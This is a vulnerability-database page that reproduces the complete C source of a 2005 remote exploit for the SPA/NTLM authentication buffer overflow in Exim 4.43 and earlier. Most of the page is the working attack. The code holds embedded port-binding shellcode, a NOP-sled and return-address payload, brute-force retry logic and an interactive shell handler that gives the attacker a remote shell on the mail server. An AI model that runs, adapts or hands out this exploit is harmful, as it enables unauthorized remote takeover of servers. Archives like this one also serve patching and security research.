Lucene search
K

Exim <= 4.43 auth_spa_server() Remote PoC Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Exim <= 4.43 SPA Auth Remote PoC Exploit for Exim versions up to 4.43 exposes a buffer overflow vulnerability in the auth_spa_server() function due to inadequate boundary checks in spa_base64_to_bits()

Code

                                                /* ecl-eximspa.c
 * Yuri Gushin &#60;[email protected]&#62;
 *
 * Howdy :)
 * This is pretty straightforward, an exploit for the recently
 * discovered vulnerability in Exim&#39;s (all versions prior to and
 * including 4.43) SPA authentication code - spa_base64_to_bits()
 * will overflow a fixed-size buffer since there&#39;s no decent
 * boundary checks before it in auth_spa_server()
 *
 * Greets fly out to the ECL crew, Alex Behar, Valentin Slavov
 * blexim, manevski, elius, shrink, and everyone else who got left
 * out :D
 *
 */

#include &#60;stdlib.h&#62;
#include &#60;stdio.h&#62;
#include &#60;unistd.h&#62;
#include &#60;string.h&#62;
#include &#60;err.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;netdb.h&#62;
#include &#60;arpa/inet.h&#62;

#define SC_PORT 13370
#define NOP 0xfd

struct {
  char *name;
  int retaddr;
} targets[] = {
  { &#34;Bruteforce&#34;, 0xbfffffff },
  { &#34;Debian Sarge exim4-daemon-heavy_4.34-9&#34;, 0xbfffed00 },
};

char sc[] = // thank you metasploit, skape, vlad902
&#34;\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96&#34;
&#34;\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56&#34;
&#34;\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1&#34;
&#34;\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0&#34;
&#34;\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53&#34;
&#34;\x89\xe1\xcd\x80&#34;;

struct {
  struct sockaddr_in host;
  int target;
  int offset;
  u_short wait;
} options;

static int brutemode;

int connect_port(u_short port);
void init_SPA(int sock);
void exploit(int sock, int address);
void shell(int sock);
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen);
void parse_options(int argc, char **argv);
void usage(char *cmd);
void banner(void);

int main(int argc, char **argv)
{
  int address, sock_smtp, sock_shell;

  banner();
  parse_options(argc, argv);
  address = targets[options.target].retaddr - options.offset;
  brutemode = 0;

 bruteforce:

  if (!brutemode)
    {
      printf(&#34;[*] Connecting to %s:%d... &#34;,
	     inet_ntoa(options.host.sin_addr), ntohs(options.host.sin_port));
      fflush(stdout);
    }

  sock_smtp = connect_port(ntohs(options.host.sin_port));

  if (!brutemode)
    {
      if (!sock_smtp) 
	{
	  printf(&#34;failed.\n\n&#34;);
	  exit(-1);
	}
      printf(&#34;success.\n&#34;);
    }

  init_SPA(sock_smtp);
  exploit(sock_smtp, address);
  close(sock_smtp);

  printf(&#34;[*] Target: %s - 0x%.8x\n&#34;, targets[options.target].name, address);
  printf(&#34;[*] Exploit sent, spawning a shell... &#34;);
  fflush(stdout);

  sleep(1); // patience grasshopper
  sock_shell = connect_port(SC_PORT);

  if (!sock_shell && options.target)
    {
      printf(&#34;failed.\n\n&#34;);
      exit(-1);
    }
  if (!sock_shell)
    {
      printf(&#34;failed.\n\n&#34;);
      address -= 1000 - strlen(sc);
      brutemode = 1;
      if (options.wait) sleep(options.wait);
      goto bruteforce;
    }
  printf(&#34;success!\n\nEnjoy your shell :)\n\n&#34;);
  shell(sock_shell);

  return 0;
}

int connect_port(u_short port)
{
  int sock;
  struct sockaddr_in host;

  memcpy(&host, &options.host, sizeof(options.host));
  host.sin_port = ntohs(port);

  if((sock = socket(AF_INET, SOCK_STREAM, 0)) &#60; 0)
      return 0;
  if(connect(sock, (struct sockaddr *)&host, sizeof(host)) &#60; 0)
    {
      close(sock);
      return 0;
    }

  return sock;
}

void init_SPA(int sock)
{
  char buffer[1024];

  memset(buffer, 0, sizeof(buffer));
  if (!read(sock, buffer, sizeof(buffer)))
    err(-1, &#34;read&#34;);
  buffer[255] = &#39;\0&#39;;

  if (!brutemode)
    printf(&#34;[*] Server banner: %s&#34;, buffer);

  write(sock, &#34;EHLO ECL.PWNZ.J00\n&#34;, 18);
  memset(buffer, 0, sizeof(buffer));
  if (!read(sock, buffer, sizeof(buffer)))
    err(-1, &#34;read&#34;);
  else
    if (!brutemode && (!strstr(buffer, &#34;NTLM&#34;)))
      printf(&#34;[?] Server doesn&#39;t seem to support SPA, trying anyway\n&#34;);
  write(sock, &#34;AUTH NTLM\n&#34;, 10);
  memset(buffer, 0, sizeof(buffer));
  if (!read(sock, buffer, sizeof(buffer)))
    err(-1, &#34;read&#34;);
  else
    if (!brutemode && (!strstr(buffer, &#34;334&#34;)))
      {
        printf(&#34;[!] SPA unsupported! Server responds: %s\n\n&#34;, buffer);
        exit(1);
      }
  if (!brutemode) printf(&#34;[*] SPA (NTLM) supported\n&#34;);
}

void exploit(int sock, int address)
{
  char exp[2000], exp_base64[2668];
  int *address_p;
  int i;

  memset(exp, NOP, 1000);
  memcpy(&exp[1000]-strlen(sc), sc, strlen(sc));
  address_p = (int *)&exp[1000];
  for (i=0; i&#60;1000; i+=4)
    *(address_p++) = address;
  spa_bits_to_base64(exp_base64, exp, sizeof(exp));

  write(sock, exp_base64, sizeof(exp_base64));
  write(sock, &#34;\n&#34;, 1);
}

void shell(int sock)
{
  int n;
  fd_set fd;
  char buff[1024];

  write(sock,&#34;uname -a;id\n&#34;,12);

  while(1)
    {
     
      FD_SET(sock, &fd);
      FD_SET(0, &fd);

      select(sock+1, &fd, NULL, NULL, NULL);

      if( FD_ISSET(sock, &fd) )
        {
          n = read(sock, buff, sizeof(buff));
          if (n &#60; 0) err(1, &#34;remote read&#34;);
          write(1, buff, n);
        }

      if ( FD_ISSET(0, &fd) )
        {
          n = read(0, buff, sizeof(buff));
          if (n &#60; 0) err(1, &#34;local read&#34;);
          write(sock, buff, n);
        }
    }    
}

char base64digits[] = &#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&#34;;
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen)
{
  for (; inlen &#62;= 3; inlen -= 3)
    {
      *out++ = base64digits[in[0] &#62;&#62; 2];
      *out++ = base64digits[((in[0] &#60;&#60; 4) & 0x30) | (in[1] &#62;&#62; 4)];
      *out++ = base64digits[((in[1] &#60;&#60; 2) & 0x3c) | (in[2] &#62;&#62; 6)];
      *out++ = base64digits[in[2] & 0x3f];
      in += 3;
    }
  if (inlen &#62; 0)
    {
      unsigned char fragment;

      *out++ = base64digits[in[0] &#62;&#62; 2];
      fragment = (in[0] &#60;&#60; 4) & 0x30;
      if (inlen &#62; 1)
        fragment |= in[1] &#62;&#62; 4;
      *out++ = base64digits[fragment];
      *out++ = (inlen &#60; 2) ? &#39;=&#39; : base64digits[(in[1] &#60;&#60; 2) & 0x3c];
      *out++ = &#39;=&#39;;
    }
  *out = &#39;\0&#39;;
}

void parse_options(int argc, char **argv)
{
  int ch;
  struct hostent *hn;

  memset(&options, 0, sizeof(options));

  options.host.sin_family = AF_INET;
  options.host.sin_port = htons(25);
  options.target = -1;
  options.wait = 1;

  while (( ch = getopt(argc, argv, &#34;h:p:t:o:w:&#34;)) != -1)
    switch(ch)
      {
      case &#39;h&#39;:
        if ( (hn = gethostbyname(optarg)) == NULL)
          errx(-1, &#34;Unresolvable address\n&#34;);
        memcpy(&options.host.sin_addr, hn-&#62;h_addr, hn-&#62;h_length);
        break;
      case &#39;p&#39;:
        options.host.sin_port = htons((u_short)atoi(optarg));
        break;
      case &#39;t&#39;:
        if ((atoi(optarg) &#62; (sizeof(targets)/8-1) || (atoi(optarg) &#60; 0)))
          errx(-1, &#34;Bad target\n&#34;);
        options.target = atoi(optarg);
        break;
      case &#39;o&#39;:
        options.offset = atoi(optarg);
        break;
      case &#39;w&#39;:
        options.wait = (u_short)atoi(optarg);
        break;
      case &#39;?&#39;:
	exit(1);
      default:
        usage(argv[0]);
      }

  if (!options.host.sin_addr.s_addr || (options.target == -1) )
    usage(argv[0]);
}

void usage(char *cmd)
{
  int i;

  printf(&#34;Usage: %s [ -h host ] [ -p port ] [ -t target ] [ -o offset ] [ -w wait ]\n\n&#34;
	 &#34;\t-h: remote host\n&#34;
	 &#34;\t-p: remote port\n&#34;
	 &#34;\t-t: target return address (see below)\n&#34;
	 &#34;\t-o: return address offset\n&#34;
	 &#34;\t-w: seconds to wait before bruteforce reconnecting\n\n&#34;,
	 cmd);
  printf(&#34;Targets:\n&#34;);
  for (i=0; i&#60;(sizeof(targets)/8); i++)
    printf(&#34;%d - %s (0x%.8x)\n&#34;, i, targets[i].name, targets[i].retaddr);
  printf(&#34;\n&#34;);
  exit(1);
}

void banner(void)
{
  printf(&#34;\t\tExim &#60;= 4.43 SPA authentication exploit\n&#34;
         &#34;\t\t   Yuri Gushin &#60;[email protected]&#62;\n&#34;
         &#34;\t\t\t       ECL Team\n\n\n&#34;);
}

// milw0rm.com [2005-02-12]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
26